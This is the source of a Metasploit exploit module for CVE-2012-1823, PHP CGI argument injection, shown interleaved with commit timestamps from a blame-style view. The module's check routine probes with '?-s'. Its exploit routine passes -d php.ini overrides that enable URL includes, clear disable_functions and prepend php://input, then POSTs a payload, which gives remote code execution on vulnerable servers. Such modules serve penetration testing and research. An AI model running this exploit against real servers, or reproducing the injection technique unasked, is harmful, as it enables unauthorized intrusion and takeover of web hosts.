2012-05-04 00:50:51 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2012-05-04 15:19:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-05-04 00:50:51 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP CGI Argument Injection',
|
|
|
|
'Description' => %q{
|
|
|
|
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
|
|
|
|
an argument injection vulnerability. This module takes advantage of
|
|
|
|
the -d flag to set php.ini directives to achieve code execution.
|
2012-05-04 05:01:03 +00:00
|
|
|
From the advisory: "if there is NO unescaped '=' in the query string,
|
|
|
|
the string is split on '+' (encoded space) characters, urldecoded,
|
|
|
|
passed to a function that escapes shell metacharacters (the "encoded in
|
|
|
|
a system-defined manner" from the RFC) and then passes them to the CGI
|
2012-05-04 00:50:51 +00:00
|
|
|
binary."
|
|
|
|
},
|
2012-05-04 01:00:40 +00:00
|
|
|
'Author' => [ 'egypt', 'hdm' ],
|
2012-05-04 00:50:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' => [
|
2012-05-04 01:00:40 +00:00
|
|
|
[ "CVE" , "2012-1823" ],
|
|
|
|
[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
|
|
|
|
],
|
2012-05-04 00:50:51 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
# Arbitrary big number. The payload gets sent as an HTTP
|
|
|
|
# response body, so really it's unlimited
|
|
|
|
'Space' => 262144, # 256k
|
|
|
|
},
|
|
|
|
'DisclosureDate' => 'May 03 2012',
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([
|
2012-05-04 14:58:10 +00:00
|
|
|
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
|
2012-05-04 00:50:51 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2012-05-04 01:00:40 +00:00
|
|
|
# php-cgi -h
|
|
|
|
# ...
|
|
|
|
# -s Display colour syntax highlighted source.
|
2012-05-04 00:50:51 +00:00
|
|
|
def check
|
2012-05-04 01:00:40 +00:00
|
|
|
uri = target_uri.path
|
2012-05-04 15:06:18 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
uri.gsub!(/\?.*/, "")
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
print_status("Checking uri #{uri}")
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
response = send_request_raw({ 'uri' => uri })
|
2012-05-04 01:00:40 +00:00
|
|
|
|
2012-05-04 14:58:10 +00:00
|
|
|
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
|
|
|
|
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
|
2012-05-04 01:00:40 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2012-05-04 14:58:10 +00:00
|
|
|
|
|
|
|
response = send_request_raw({ 'uri' => uri + '?-s'})
|
|
|
|
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
print_error("Server responded indicating it was not vulnerable")
|
|
|
|
return Exploit::CheckCode::Safe
|
2012-05-04 00:50:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2012-05-04 15:06:18 +00:00
|
|
|
|
2012-05-04 00:50:51 +00:00
|
|
|
begin
|
|
|
|
args = [
|
|
|
|
"-d+allow_url_include%3d#{rand_php_ini_true}",
|
2012-05-04 17:15:05 +00:00
|
|
|
"-d+safe_mode%3d#{rand_php_ini_false}",
|
|
|
|
"-d+suhosin.simulation%3d#{rand_php_ini_true}",
|
2012-05-04 17:17:41 +00:00
|
|
|
"-d+disable_functions%3d%22%22",
|
2012-05-04 17:15:05 +00:00
|
|
|
"-d+open_basedir%3dnone",
|
2012-05-04 00:50:51 +00:00
|
|
|
"-d+auto_prepend_file%3dphp://input",
|
|
|
|
]
|
|
|
|
|
|
|
|
qs = args.join("+")
|
|
|
|
uri = "#{target_uri}?#{qs}"
|
|
|
|
|
|
|
|
# Has to be all on one line, so gsub out the comments and the newlines
|
|
|
|
payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
|
|
|
|
response = send_request_cgi( {
|
|
|
|
'method' => "POST",
|
|
|
|
'global' => true,
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => payload_oneline,
|
2012-05-04 14:58:10 +00:00
|
|
|
}, 0.5)
|
2012-05-04 00:50:51 +00:00
|
|
|
handler
|
|
|
|
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
|
|
|
|
print_error("The target service unreachable")
|
|
|
|
rescue ::OpenSSL::SSL::SSLError
|
|
|
|
print_error("The target failed to negotiate SSL, is this really an SSL service?")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def rand_php_ini_false
|
|
|
|
[ "0", "off", "false" ].sort_by{rand}.first
|
|
|
|
end
|
|
|
|
|
|
|
|
def rand_php_ini_true
|
|
|
|
[ "1", "on", "true" ].sort_by{rand}.first
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|